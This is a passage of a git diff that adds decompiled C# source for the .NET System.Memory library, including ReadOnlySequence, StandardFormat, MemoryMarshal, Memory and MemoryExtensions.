obj2 = _sequenceEnd.GetObject(); + if (obj == obj2) + { + if (!InRange(index, index2, index3)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_PositionOutOfRange(); + } + return; + } + ulong start = (ulong)(((ReadOnlySequenceSegment)obj).RunningIndex + index2); + if (!InRange((ulong)(((ReadOnlySequenceSegment)position.GetObject()).RunningIndex + index), start, (ulong)(((ReadOnlySequenceSegment)obj2).RunningIndex + index3))) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_PositionOutOfRange(); + } + } + + private void BoundsCheck(uint sliceStartIndex, object sliceStartObject, uint sliceEndIndex, object sliceEndObject) + { + uint index = (uint)GetIndex(in _sequenceStart); + uint index2 = (uint)GetIndex(in _sequenceEnd); + object obj = _sequenceStart.GetObject(); + object obj2 = _sequenceEnd.GetObject(); + if (obj == obj2) + { + if (sliceStartObject != sliceEndObject || sliceStartObject != obj || sliceStartIndex > sliceEndIndex || sliceStartIndex < index || sliceEndIndex > index2) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_PositionOutOfRange(); + } + return; + } + ulong num = (ulong)(((ReadOnlySequenceSegment)sliceStartObject).RunningIndex + sliceStartIndex); + ulong num2 = (ulong)(((ReadOnlySequenceSegment)sliceEndObject).RunningIndex + sliceEndIndex); + if (num > num2) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_PositionOutOfRange(); + } + if (num < (ulong)(((ReadOnlySequenceSegment)obj).RunningIndex + index) || num2 > (ulong)(((ReadOnlySequenceSegment)obj2).RunningIndex + index2)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_PositionOutOfRange(); + } + } + + private static SequencePosition GetEndPosition(ReadOnlySequenceSegment startSegment, object startObject, int startIndex, object endObject, int endIndex, long length) + { + int num = startSegment.Memory.Length - startIndex; + if (num > length) + { + return new SequencePosition(startObject, startIndex + (int)length); + } + if (num < 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_PositionOutOfRange(); + } + return SeekMultiSegment(startSegment.Next, endObject, endIndex, length - num, System.ExceptionArgument.length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private SequenceType GetSequenceType() + { + return (SequenceType)(-(2 * (_sequenceStart.GetInteger() >> 31) + (_sequenceEnd.GetInteger() >> 31))); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int GetIndex(in SequencePosition position) + { + return position.GetInteger() & 0x7FFFFFFF; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private ReadOnlySequence SliceImpl(in SequencePosition start, in SequencePosition end) + { + return new ReadOnlySequence(start.GetObject(), GetIndex(in start) | (_sequenceStart.GetInteger() & int.MinValue), end.GetObject(), GetIndex(in end) | (_sequenceEnd.GetInteger() & int.MinValue)); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private long GetLength() + { + int index = GetIndex(in _sequenceStart); + int index2 = GetIndex(in _sequenceEnd); + object obj = _sequenceStart.GetObject(); + object obj2 = _sequenceEnd.GetObject(); + if (obj != obj2) + { + ReadOnlySequenceSegment readOnlySequenceSegment = (ReadOnlySequenceSegment)obj; + ReadOnlySequenceSegment readOnlySequenceSegment2 = (ReadOnlySequenceSegment)obj2; + return readOnlySequenceSegment2.RunningIndex + index2 - (readOnlySequenceSegment.RunningIndex + index); + } + return index2 - index; + } + + internal bool TryGetReadOnlySequenceSegment(out ReadOnlySequenceSegment startSegment, out int startIndex, out ReadOnlySequenceSegment endSegment, out int endIndex) + { + object obj = _sequenceStart.GetObject(); + if (obj == null || GetSequenceType() != SequenceType.MultiSegment) + { + startSegment = null; + startIndex = 0; + endSegment = null; + endIndex = 0; + return false; + } + startSegment = (ReadOnlySequenceSegment)obj; + startIndex = GetIndex(in _sequenceStart); + endSegment = (ReadOnlySequenceSegment)_sequenceEnd.GetObject(); + endIndex = GetIndex(in _sequenceEnd); + return true; + } + + internal bool TryGetArray(out ArraySegment segment) + { + if (GetSequenceType() != SequenceType.Array) + { + segment = default(ArraySegment); + return false; + } + int index = GetIndex(in _sequenceStart); + segment = new ArraySegment((T[])_sequenceStart.GetObject(), index, GetIndex(in _sequenceEnd) - index); + return true; + } + + internal bool TryGetString(out string text, out int start, out int length) + { + if (typeof(T) != typeof(char) || GetSequenceType() != SequenceType.String) + { + start = 0; + length = 0; + text = null; + return false; + } + start = GetIndex(in _sequenceStart); + length = GetIndex(in _sequenceEnd) - start; + text = (string)_sequenceStart.GetObject(); + return true; + } + + private static bool InRange(uint value, uint start, uint end) + { + return value - start <= end - start; + } + + private static bool InRange(ulong value, ulong start, ulong end) + { + return value - start <= end - start; + } + + static ReadOnlySequence() + { + Empty = new ReadOnlySequence(System.SpanHelpers.PerTypeValues.EmptyArray); + } +} +internal static class ReadOnlySequence +{ + public const int FlagBitMask = int.MinValue; + + public const int IndexBitMask = int.MaxValue; + + public const int SegmentStartMask = 0; + + public const int SegmentEndMask = 0; + + public const int ArrayStartMask = 0; + + public const int ArrayEndMask = int.MinValue; + + public const int MemoryManagerStartMask = int.MinValue; + + public const int MemoryManagerEndMask = 0; + + public const int StringStartMask = int.MinValue; + + public const int StringEndMask = int.MinValue; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int SegmentToSequenceStart(int startIndex) + { + return startIndex | 0; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int SegmentToSequenceEnd(int endIndex) + { + return endIndex | 0; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int ArrayToSequenceStart(int startIndex) + { + return startIndex | 0; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int ArrayToSequenceEnd(int endIndex) + { + return endIndex | int.MinValue; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int MemoryManagerToSequenceStart(int startIndex) + { + return startIndex | int.MinValue; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int MemoryManagerToSequenceEnd(int endIndex) + { + return endIndex | 0; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int StringToSequenceStart(int startIndex) + { + return startIndex | int.MinValue; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int StringToSequenceEnd(int endIndex) + { + return endIndex | int.MinValue; + } +} diff --git a/decompiled/Libraries/system.memory/System.Buffers/ReadOnlySequenceDebugView.cs b/decompiled/Libraries/system.memory/System.Buffers/ReadOnlySequenceDebugView.cs new file mode 100644 index 0000000..48e05e6 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers/ReadOnlySequenceDebugView.cs @@ -0,0 +1,47 @@ +using System.Diagnostics; + +namespace System.Buffers; + +internal sealed class ReadOnlySequenceDebugView +{ + [DebuggerDisplay("Count: {Segments.Length}", Name = "Segments")] + public struct ReadOnlySequenceDebugViewSegments + { + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public ReadOnlyMemory[] Segments { get; set; } + } + + private readonly T[] _array; + + private readonly ReadOnlySequenceDebugViewSegments _segments; + + public ReadOnlySequenceDebugViewSegments BufferSegments => _segments; + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public T[] Items => _array; + + public ReadOnlySequenceDebugView(ReadOnlySequence sequence) + { + _array = BuffersExtensions.ToArray(in sequence); + int num = 0; + ReadOnlySequence.Enumerator enumerator = sequence.GetEnumerator(); + while (enumerator.MoveNext()) + { + ReadOnlyMemory current = enumerator.Current; + num++; + } + ReadOnlyMemory[] array = new ReadOnlyMemory[num]; + int num2 = 0; + ReadOnlySequence.Enumerator enumerator2 = sequence.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ReadOnlyMemory current2 = enumerator2.Current; + array[num2] = current2; + num2++; + } + _segments = new ReadOnlySequenceDebugViewSegments + { + Segments = array + }; + } +} diff --git a/decompiled/Libraries/system.memory/System.Buffers/ReadOnlySequenceSegment.cs b/decompiled/Libraries/system.memory/System.Buffers/ReadOnlySequenceSegment.cs new file mode 100644 index 0000000..4980611 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers/ReadOnlySequenceSegment.cs @@ -0,0 +1,10 @@ +namespace System.Buffers; + +public abstract class ReadOnlySequenceSegment +{ + public ReadOnlyMemory Memory { get; protected set; } + + public ReadOnlySequenceSegment Next { get; protected set; } + + public long RunningIndex { get; protected set; } +} diff --git a/decompiled/Libraries/system.memory/System.Buffers/StandardFormat.cs b/decompiled/Libraries/system.memory/System.Buffers/StandardFormat.cs new file mode 100644 index 0000000..b95d721 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers/StandardFormat.cs @@ -0,0 +1,154 @@ +namespace System.Buffers; + +public readonly struct StandardFormat : IEquatable +{ + public const byte NoPrecision = byte.MaxValue; + + public const byte MaxPrecision = 99; + + private readonly byte _format; + + private readonly byte _precision; + + public char Symbol => (char)_format; + + public byte Precision => _precision; + + public bool HasPrecision => _precision != byte.MaxValue; + + public bool IsDefault + { + get + { + if (_format == 0) + { + return _precision == 0; + } + return false; + } + } + + public StandardFormat(char symbol, byte precision = byte.MaxValue) + { + if (precision != byte.MaxValue && precision > 99) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_PrecisionTooLarge(); + } + if (symbol != (byte)symbol) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException_SymbolDoesNotFit(); + } + _format = (byte)symbol; + _precision = precision; + } + + public static implicit operator StandardFormat(char symbol) + { + return new StandardFormat(symbol); + } + + public static StandardFormat Parse(ReadOnlySpan format) + { + if (format.Length == 0) + { + return default(StandardFormat); + } + char symbol = format[0]; + byte precision; + if (format.Length == 1) + { + precision = byte.MaxValue; + } + else + { + uint num = 0u; + for (int i = 1; i < format.Length; i++) + { + uint num2 = (uint)(format[i] - 48); + if (num2 > 9) + { + throw new FormatException(System.SR.Format(System.SR.Argument_CannotParsePrecision, (byte)99)); + } + num = num * 10 + num2; + if (num > 99) + { + throw new FormatException(System.SR.Format(System.SR.Argument_PrecisionTooLarge, (byte)99)); + } + } + precision = (byte)num; + } + return new StandardFormat(symbol, precision); + } + + public static StandardFormat Parse(string format) + { + if (format != null) + { + return Parse(MemoryExtensions.AsSpan(format)); + } + return default(StandardFormat); + } + + public override bool Equals(object obj) + { + if (obj is StandardFormat other) + { + return Equals(other); + } + return false; + } + + public override int GetHashCode() + { + byte format = _format; + int hashCode = format.GetHashCode(); + format = _precision; + return hashCode ^ format.GetHashCode(); + } + + public bool Equals(StandardFormat other) + { + if (_format == other._format) + { + return _precision == other._precision; + } + return false; + } + + public unsafe override string ToString() + { + char* ptr = stackalloc char[4]; + int length = 0; + char symbol = Symbol; + if (symbol != 0) + { + ptr[length++] = symbol; + byte b = Precision; + if (b != byte.MaxValue) + { + if (b >= 100) + { + ptr[length++] = (char)(48 + b / 100 % 10); + b %= 100; + } + if (b >= 10) + { + ptr[length++] = (char)(48 + b / 10 % 10); + b %= 10; + } + ptr[length++] = (char)(48 + b); + } + } + return new string(ptr, 0, length); + } + + public static bool operator ==(StandardFormat left, StandardFormat right) + { + return left.Equals(right); + } + + public static bool operator !=(StandardFormat left, StandardFormat right) + { + return !left.Equals(right); + } +} diff --git a/decompiled/Libraries/system.memory/System.Numerics.Hashing/HashHelpers.cs b/decompiled/Libraries/system.memory/System.Numerics.Hashing/HashHelpers.cs new file mode 100644 index 0000000..9a5cb33 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Numerics.Hashing/HashHelpers.cs @@ -0,0 +1,12 @@ +namespace System.Numerics.Hashing; + +internal static class HashHelpers +{ + public static readonly int RandomSeed = Guid.NewGuid().GetHashCode(); + + public static int Combine(int h1, int h2) + { + uint num = (uint)((h1 << 5) | (h1 >>> 27)); + return ((int)num + h1) ^ h2; + } +} diff --git a/decompiled/Libraries/system.memory/System.Runtime.InteropServices/MemoryMarshal.cs b/decompiled/Libraries/system.memory/System.Runtime.InteropServices/MemoryMarshal.cs new file mode 100644 index 0000000..e5e7421 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Runtime.InteropServices/MemoryMarshal.cs @@ -0,0 +1,239 @@ +using System.Buffers; +using System.Collections.Generic; +using System.Runtime.CompilerServices; + +namespace System.Runtime.InteropServices; + +public static class MemoryMarshal +{ + public static bool TryGetArray(ReadOnlyMemory memory, out ArraySegment segment) + { + int start; + int length; + object objectStartLength = memory.GetObjectStartLength(out start, out length); + if (start < 0) + { + if (((MemoryManager)objectStartLength).TryGetArray(out var segment2)) + { + segment = new ArraySegment(segment2.Array, segment2.Offset + (start & 0x7FFFFFFF), length); + return true; + } + } + else if (objectStartLength is T[] array) + { + segment = new ArraySegment(array, start, length & 0x7FFFFFFF); + return true; + } + if ((length & 0x7FFFFFFF) == 0) + { + segment = new ArraySegment(System.SpanHelpers.PerTypeValues.EmptyArray); + return true; + } + segment = default(ArraySegment); + return false; + } + + public static bool TryGetMemoryManager(ReadOnlyMemory memory, out TManager manager) where TManager : MemoryManager + { + int start; + int length; + TManager val = (manager = memory.GetObjectStartLength(out start, out length) as TManager); + return manager != null; + } + + public static bool TryGetMemoryManager(ReadOnlyMemory memory, out TManager manager, out int start, out int length) where TManager : MemoryManager + { + TManager val = (manager = memory.GetObjectStartLength(out start, out length) as TManager); + start &= int.MaxValue; + if (manager == null) + { + start = 0; + length = 0; + return false; + } + return true; + } + + public static IEnumerable ToEnumerable(ReadOnlyMemory memory) + { + for (int i = 0; i < memory.Length; i++) + { + yield return memory.Span[i]; + } + } + + public static bool TryGetString(ReadOnlyMemory memory, out string text, out int start, out int length) + { + if (memory.GetObjectStartLength(out var start2, out var length2) is string text2) + { + text = text2; + start = start2; + length = length2; + return true; + } + text = null; + start = 0; + length = 0; + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static T Read(ReadOnlySpan source) where T : struct + { + if (System.SpanHelpers.IsReferenceOrContainsReferences()) + { + System.ThrowHelper.ThrowArgumentException_InvalidTypeWithPointersNotSupported(typeof(T)); + } + if (Unsafe.SizeOf() > source.Length) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.length); + } + return Unsafe.ReadUnaligned(in GetReference(source)); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryRead(ReadOnlySpan source, out T value) where T : struct + { + if (System.SpanHelpers.IsReferenceOrContainsReferences()) + { + System.ThrowHelper.ThrowArgumentException_InvalidTypeWithPointersNotSupported(typeof(T)); + } + if (Unsafe.SizeOf() > (uint)source.Length) + { + value = default(T); + return false; + } + value = Unsafe.ReadUnaligned(in GetReference(source)); + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void Write(Span destination, ref T value) where T : struct + { + if (System.SpanHelpers.IsReferenceOrContainsReferences()) + { + System.ThrowHelper.ThrowArgumentException_InvalidTypeWithPointersNotSupported(typeof(T)); + } + if ((uint)Unsafe.SizeOf() > (uint)destination.Length) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.length); + } + Unsafe.WriteUnaligned(ref GetReference(destination), value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryWrite(Span destination, ref T value) where T : struct + { + if (System.SpanHelpers.IsReferenceOrContainsReferences()) + { + System.ThrowHelper.ThrowArgumentException_InvalidTypeWithPointersNotSupported(typeof(T)); + } + if (Unsafe.SizeOf() > (uint)destination.Length) + { + return false; + } + Unsafe.WriteUnaligned(ref GetReference(destination), value); + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Memory CreateFromPinnedArray(T[] array, int start, int length) + { + if (array == null) + { + if (start != 0 || length != 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(); + } + return default(Memory); + } + if (default(T) == null && array.GetType() != typeof(T[])) + { + System.ThrowHelper.ThrowArrayTypeMismatchException(); + } + if ((uint)start > (uint)array.Length || (uint)length > (uint)(array.Length - start)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(); + } + return new Memory((object)array, start, length | int.MinValue); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Span AsBytes(Span span) where T : struct + { + if (System.SpanHelpers.IsReferenceOrContainsReferences()) + { + System.ThrowHelper.ThrowArgumentException_InvalidTypeWithPointersNotSupported(typeof(T)); + } + int length = checked(span.Length * Unsafe.SizeOf()); + return new Span(Unsafe.As>(span.Pinnable), span.ByteOffset, length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static ReadOnlySpan AsBytes(ReadOnlySpan span) where T : struct + { + if (System.SpanHelpers.IsReferenceOrContainsReferences()) + { + System.ThrowHelper.ThrowArgumentException_InvalidTypeWithPointersNotSupported(typeof(T)); + } + int length = checked(span.Length * Unsafe.SizeOf()); + return new ReadOnlySpan(Unsafe.As>(span.Pinnable), span.ByteOffset, length); + } + + public static Memory AsMemory(ReadOnlyMemory memory) + { + return Unsafe.As, Memory>(ref memory); + } + + public unsafe static ref T GetReference(Span span) + { + if (span.Pinnable == null) + { + return ref Unsafe.AsRef(span.ByteOffset.ToPointer()); + } + return ref Unsafe.AddByteOffset(ref span.Pinnable.Data, span.ByteOffset); + } + + public unsafe static ref T GetReference(ReadOnlySpan span) + { + if (span.Pinnable == null) + { + return ref Unsafe.AsRef(span.ByteOffset.ToPointer()); + } + return ref Unsafe.AddByteOffset(ref span.Pinnable.Data, span.ByteOffset); + } + + public static Span Cast(Span span) where TFrom : struct where TTo : struct + { + if (System.SpanHelpers.IsReferenceOrContainsReferences()) + { + System.ThrowHelper.ThrowArgumentException_InvalidTypeWithPointersNotSupported(typeof(TFrom)); + } + if (System.SpanHelpers.IsReferenceOrContainsReferences()) + { + System.ThrowHelper.ThrowArgumentException_InvalidTypeWithPointersNotSupported(typeof(TTo)); + } + checked + { + int length = (int)unchecked(checked(unchecked((long)span.Length) * unchecked((long)Unsafe.SizeOf())) / Unsafe.SizeOf()); + return new Span(Unsafe.As>(span.Pinnable), span.ByteOffset, length); + } + } + + public static ReadOnlySpan Cast(ReadOnlySpan span) where TFrom : struct where TTo : struct + { + if (System.SpanHelpers.IsReferenceOrContainsReferences()) + { + System.ThrowHelper.ThrowArgumentException_InvalidTypeWithPointersNotSupported(typeof(TFrom)); + } + if (System.SpanHelpers.IsReferenceOrContainsReferences()) + { + System.ThrowHelper.ThrowArgumentException_InvalidTypeWithPointersNotSupported(typeof(TTo)); + } + checked + { + int length = (int)unchecked(checked(unchecked((long)span.Length) * unchecked((long)Unsafe.SizeOf())) / Unsafe.SizeOf()); + return new ReadOnlySpan(Unsafe.As>(span.Pinnable), span.ByteOffset, length); + } + } +} diff --git a/decompiled/Libraries/system.memory/System.Runtime.InteropServices/SequenceMarshal.cs b/decompiled/Libraries/system.memory/System.Runtime.InteropServices/SequenceMarshal.cs new file mode 100644 index 0000000..50e9a54 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Runtime.InteropServices/SequenceMarshal.cs @@ -0,0 +1,32 @@ +using System.Buffers; + +namespace System.Runtime.InteropServices; + +public static class SequenceMarshal +{ + public static bool TryGetReadOnlySequenceSegment(ReadOnlySequence sequence, out ReadOnlySequenceSegment startSegment, out int startIndex, out ReadOnlySequenceSegment endSegment, out int endIndex) + { + return sequence.TryGetReadOnlySequenceSegment(out startSegment, out startIndex, out endSegment, out endIndex); + } + + public static bool TryGetArray(ReadOnlySequence sequence, out ArraySegment segment) + { + return sequence.TryGetArray(out segment); + } + + public static bool TryGetReadOnlyMemory(ReadOnlySequence sequence, out ReadOnlyMemory memory) + { + if (!sequence.IsSingleSegment) + { + memory = default(ReadOnlyMemory); + return false; + } + memory = sequence.First; + return true; + } + + internal static bool TryGetString(ReadOnlySequence sequence, out string text, out int start, out int length) + { + return sequence.TryGetString(out text, out start, out length); + } +} diff --git a/decompiled/Libraries/system.memory/System/DecimalDecCalc.cs b/decompiled/Libraries/system.memory/System/DecimalDecCalc.cs new file mode 100644 index 0000000..a0be25a --- /dev/null +++ b/decompiled/Libraries/system.memory/System/DecimalDecCalc.cs @@ -0,0 +1,66 @@ +namespace System; + +internal static class DecimalDecCalc +{ + private static uint D32DivMod1E9(uint hi32, ref uint lo32) + { + ulong num = ((ulong)hi32 << 32) | lo32; + lo32 = (uint)(num / 1000000000); + return (uint)(num % 1000000000); + } + + internal static uint DecDivMod1E9(ref MutableDecimal value) + { + return D32DivMod1E9(D32DivMod1E9(D32DivMod1E9(0u, ref value.High), ref value.Mid), ref value.Low); + } + + internal static void DecAddInt32(ref MutableDecimal value, uint i) + { + if (D32AddCarry(ref value.Low, i) && D32AddCarry(ref value.Mid, 1u)) + { + D32AddCarry(ref value.High, 1u); + } + } + + private static bool D32AddCarry(ref uint value, uint i) + { + uint num = value; + uint num2 = (value = num + i); + if (num2 >= num) + { + return num2 < i; + } + return true; + } + + internal static void DecMul10(ref MutableDecimal value) + { + MutableDecimal d = value; + DecShiftLeft(ref value); + DecShiftLeft(ref value); + DecAdd(ref value, d); + DecShiftLeft(ref value); + } + + private static void DecShiftLeft(ref MutableDecimal value) + { + uint num = (((value.Low & 0x80000000u) != 0) ? 1u : 0u); + uint num2 = (((value.Mid & 0x80000000u) != 0) ? 1u : 0u); + value.Low <<= 1; + value.Mid = (value.Mid << 1) | num; + value.High = (value.High << 1) | num2; + } + + private static void DecAdd(ref MutableDecimal value, MutableDecimal d) + { + if (D32AddCarry(ref value.Low, d.Low) && D32AddCarry(ref value.Mid, 1u)) + { + D32AddCarry(ref value.High, 1u); + } + if (D32AddCarry(ref value.Mid, d.Mid)) + { + D32AddCarry(ref value.High, 1u); + } + D32AddCarry(ref value.High, d.High); + } +} diff --git a/decompiled/Libraries/system.memory/System/ExceptionArgument.cs b/decompiled/Libraries/system.memory/System/ExceptionArgument.cs new file mode 100644 index 0000000..1a3d084 --- /dev/null +++ b/decompiled/Libraries/system.memory/System/ExceptionArgument.cs @@ -0,0 +1,20 @@ +namespace System; + +internal enum ExceptionArgument +{ + length, + start, + minimumBufferSize, + elementIndex, + comparable, + comparer, + destination, + offset, + startSegment, + endSegment, + startIndex, + endIndex, + array, + culture, + manager +} diff --git a/decompiled/Libraries/system.memory/System/Memory.cs b/decompiled/Libraries/system.memory/System/Memory.cs new file mode 100644 index 0000000..84aee06 --- /dev/null +++ b/decompiled/Libraries/system.memory/System/Memory.cs @@ -0,0 +1,290 @@ +using System.Buffers; +using System.ComponentModel; +using System.Diagnostics; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System; + +[DebuggerTypeProxy(typeof(System.MemoryDebugView<>))] +[DebuggerDisplay("{ToString(),raw}")] +public readonly struct Memory +{ + private readonly object _object; + + private readonly int _index; + + private readonly int _length; + + private const int RemoveFlagsBitMask = int.MaxValue; + + public static Memory Empty => default(Memory); + + public int Length => _length & 0x7FFFFFFF; + + public bool IsEmpty => (_length & 0x7FFFFFFF) == 0; + + public Span Span + { + [MethodImpl(MethodImplOptions.AggressiveInlining)] + get + { + Span result; + if (_index < 0) + { + result = ((MemoryManager)_object).GetSpan(); + return result.Slice(_index & 0x7FFFFFFF, _length); + } + if (typeof(T) == typeof(char) && _object is string text) + { + result = new Span(Unsafe.As>(text), MemoryExtensions.StringAdjustment, text.Length); + return result.Slice(_index, _length); + } + if (_object != null) + { + return new Span((T[])_object, _index, _length & 0x7FFFFFFF); + } + result = default(Span); + return result; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public Memory(T[] array) + { + if (array == null) + { + this = default(Memory); + return; + } + if (default(T) == null && array.GetType() != typeof(T[])) + { + System.ThrowHelper.ThrowArrayTypeMismatchException(); + } + _object = array; + _index = 0; + _length = array.Length; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal Memory(T[] array, int start) + { + if (array == null) + { + if (start != 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(); + } + this = default(Memory); + return; + } + if (default(T) == null && array.GetType() != typeof(T[])) + { + System.ThrowHelper.ThrowArrayTypeMismatchException(); + } + if ((uint)start > (uint)array.Length) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(); + } + _object = array; + _index = start; + _length = array.Length - start; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public Memory(T[] array, int start, int length) + { + if (array == null) + { + if (start != 0 || length != 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(); + } + this = default(Memory); + return; + } + if (default(T) == null && array.GetType() != typeof(T[])) + { + System.ThrowHelper.ThrowArrayTypeMismatchException(); + } + if ((uint)start > (uint)array.Length || (uint)length > (uint)(array.Length - start)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(); + } + _object = array; + _index = start; + _length = length; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal Memory(MemoryManager manager, int length) + { + if (length < 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(); + } + _object = manager; + _index = int.MinValue; + _length = length; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal Memory(MemoryManager manager, int start, int length) + { + if (length < 0 || start < 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(); + } + _object = manager; + _index = start | int.MinValue; + _length = length; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal Memory(object obj, int start, int length) + { + _object = obj; + _index = start; + _length = length; + } + + public static implicit operator Memory(T[] array) + { + return new Memory(array); + } + + public static implicit operator Memory(ArraySegment segment) + { + return new Memory(segment.Array, segment.Offset, segment.Count); + } + + public static implicit operator ReadOnlyMemory(Memory memory) + { + return Unsafe.As, ReadOnlyMemory>(ref memory); + } + + public override string ToString() + { + if (typeof(T) == typeof(char)) + { + if (!(_object is string text)) + { + return Span.ToString(); + } + return text.Substring(_index, _length & 0x7FFFFFFF); + } + return $"System.Memory<{typeof(T).Name}>[{_length & 0x7FFFFFFF}]"; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public Memory Slice(int start) + { + int length = _length; + int num = length & 0x7FFFFFFF; + if ((uint)start > (uint)num) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return new Memory(_object, _index + start, length - start); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public Memory Slice(int start, int length) + { + int length2 = _length; + int num = length2 & 0x7FFFFFFF; + if ((uint)start > (uint)num || (uint)length > (uint)(num - start)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(); + } + return new Memory(_object, _index + start, length | (length2 & int.MinValue)); + } + + public void CopyTo(Memory destination) + { + Span.CopyTo(destination.Span); + } + + public bool TryCopyTo(Memory destination) + { + return Span.TryCopyTo(destination.Span); + } + + public unsafe MemoryHandle Pin() + { + if (_index < 0) + { + return ((MemoryManager)_object).Pin(_index & 0x7FFFFFFF); + } + if (typeof(T) == typeof(char) && _object is string value) + { + GCHandle handle = GCHandle.Alloc(value, GCHandleType.Pinned); + void* pointer = Unsafe.Add((void*)handle.AddrOfPinnedObject(), _index); + return new MemoryHandle(pointer, handle); + } + if (_object is T[] array) + { + if (_length < 0) + { + void* pointer2 = Unsafe.Add(Unsafe.AsPointer(in MemoryMarshal.GetReference((Span)array)), _index); + return new MemoryHandle(pointer2); + } + GCHandle handle2 = GCHandle.Alloc(array, GCHandleType.Pinned); + void* pointer3 = Unsafe.Add((void*)handle2.AddrOfPinnedObject(), _index); + return new MemoryHandle(pointer3, handle2); + } + return default(MemoryHandle); + } + + public T[] ToArray() + { + return Span.ToArray(); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public override bool Equals(object obj) + { + if (obj is ReadOnlyMemory readOnlyMemory) + { + return readOnlyMemory.Equals(this); + } + if (obj is Memory other) + { + return Equals(other); + } + return false; + } + + public bool Equals(Memory other) + { + if (_object == other._object && _index == other._index) + { + return _length == other._length; + } + return false; + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public override int GetHashCode() + { + if (_object == null) + { + return 0; + } + int hashCode = _object.GetHashCode(); + int index = _index; + int hashCode2 = index.GetHashCode(); + index = _length; + return CombineHashCodes(hashCode, hashCode2, index.GetHashCode()); + } + + private static int CombineHashCodes(int left, int right) + { + return ((left << 5) + left) ^ right; + } + + private static int CombineHashCodes(int h1, int h2, int h3) + { + return CombineHashCodes(CombineHashCodes(h1, h2), h3); + } +} diff --git a/decompiled/Libraries/system.memory/System/MemoryDebugView.cs b/decompiled/Libraries/system.memory/System/MemoryDebugView.cs new file mode 100644 index 0000000..283e6ab --- /dev/null +++ b/decompiled/Libraries/system.memory/System/MemoryDebugView.cs @@ -0,0 +1,21 @@ +using System.Diagnostics; + +namespace System; + +internal sealed class MemoryDebugView +{ + private readonly ReadOnlyMemory _memory; + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public T[] Items => _memory.ToArray(); + + public MemoryDebugView(Memory memory) + { + _memory = memory; + } + + public MemoryDebugView(ReadOnlyMemory memory) + { + _memory = memory; + } +} diff --git a/decompiled/Libraries/system.memory/System/MemoryExtensions.cs b/decompiled/Libraries/system.memory/System/MemoryExtensions.cs new file mode 100644 index 0000000..6e4d60d --- /dev/null +++ b/decompiled/Libraries/system.memory/System/MemoryExtensions.cs @@ -0,0 +1,1018 @@ +using System.Collections.Generic; +using System.Globalization; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System; + +public static class MemoryExtensions +{ + internal static readonly IntPtr StringAdjustment = MeasureStringAdjustment(); + + public static ReadOnlySpan Trim(this ReadOnlySpan span) + { + return span.TrimStart().TrimEnd(); + } + + public static ReadOnlySpan TrimStart(this ReadOnlySpan span) + { + int i; + for (i = 0; i < span.Length && char.IsWhiteSpace(span[i]); i++) + { + } + return span.Slice(i); + } + + public static ReadOnlySpan TrimEnd(this ReadOnlySpan span) + { + int num = span.Length - 1; + while (num >= 0 && char.IsWhiteSpace(span[num])) + { + num--; + } + return span.Slice(0, num + 1); + } + + public static ReadOnlySpan Trim(this 